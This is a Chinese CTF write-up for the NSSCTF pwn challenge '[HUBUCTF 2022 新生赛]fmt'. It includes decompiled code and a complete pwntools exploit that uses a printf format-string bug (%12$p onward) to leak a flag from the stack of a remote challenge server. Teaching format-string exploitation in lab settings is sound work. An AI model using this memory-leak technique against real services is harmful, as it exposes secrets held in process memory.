Featured image of post Nssctf Pwn [HUBUCTF 2022 新生赛]fmt Wp

Nssctf Pwn [HUBUCTF 2022 新生赛]fmt Wp

字数: 644

题面

一个二进制文件而已

分析

保护:

1
2
3
4
5
6
7
8
❯ pwn checksec --file=fmt
[*] '/data/project/ctf-repo/pwn/nssctf/fmt/fmt'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

ida 反编译后的 main:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [rsp+8h] [rbp-68h]
  char format[32]; // [rsp+10h] [rbp-60h] BYREF
  char s[8]; // [rsp+30h] [rbp-40h] BYREF
  __int64 v6; // [rsp+38h] [rbp-38h]
  __int64 v7; // [rsp+40h] [rbp-30h]
  __int64 v8; // [rsp+48h] [rbp-28h]
  __int64 v9; // [rsp+50h] [rbp-20h]
  __int64 v10; // [rsp+58h] [rbp-18h]
  __int16 v11; // [rsp+60h] [rbp-10h]
  unsigned __int64 v12; // [rsp+68h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  stream = fopen("flag.txt", "r");
  *(_QWORD *)s = 0;
  v6 = 0;
  v7 = 0;
  v8 = 0;
  v9 = 0;
  v10 = 0;
  v11 = 0;
  if ( stream )
    fgets(s, 50, stream);
  HIBYTE(v11) = 0;
  while ( 1 )
  {
    puts("Echo as a service");
    gets(format);
    printf(format);
    putchar(10);
  }
}

很纯粹,flag 写入到栈,留了个死循环可以利用格式化字符串。
无他,唯有读栈。
读 s。

利用

简单测算 printf 偏移量:

1
2
3
4
payload = b"aaaaaaaa" + b" %p" * 20

io.sendline(payload)
io.interactive()

得出偏移量为 8。
通过 ida 查看栈:

s 相对 format 偏移为: (0x60-0x40)/8 得出 4。
所以说,s 在 printf 的偏移为 12。

读 %s 肯定是行不通的,因为字符就原原本本的在栈上。那么只能通过 %p 一步步把栈上的字符提取出来。
就像这样:

1
2
3
io = remote("node5.anna.nssctf.cn", 27663)
payload = b"%12$p"
io.sendline(payload)

两个一组将其转换为字符。可知 flag 最后止于 }
又因为 amd64 为小端序,还需要从右边读。
可以用一个 while 循环拿到完整 flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
offset = 12
flag = ""
running = True
while running:
    payload = f"%{offset}$p"
    io.sendlineafter(b"service", payload)
    io.recvuntil(b"0x")
    ascii_stream = io.recvuntil(b"\n")[:-1]
    for i in range(0, len(ascii_stream), 2):
        index = len(ascii_stream) - i
        b = chr(int(ascii_stream[index - 2 : index].ljust(2, b"0"), 16))
        flag += b
        if b == "}":
            running = False

    offset += 1

这里用:

1
index = len(ascii_stream) - i

就是考虑到了小端序:

1
b = chr(int(ascii_stream[index - 2 : index].ljust(2, b"0"), 16))

拿到 flag。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

# io = process("./fmt")
io = remote("node5.anna.nssctf.cn", 27663)

# printf offset = 8
offset = 12
flag = ""
running = True
while running:
    payload = f"%{offset}$p"
    io.sendlineafter(b"service", payload)
    io.recvuntil(b"0x")
    ascii_stream = io.recvuntil(b"\n")[:-1]
    for i in range(0, len(ascii_stream), 2):
        index = len(ascii_stream) - i
        b = chr(int(ascii_stream[index - 2 : index].ljust(2, b"0"), 16))
        flag += b
        if b == "}":
            running = False

    offset += 1

print(flag)
io.interactive()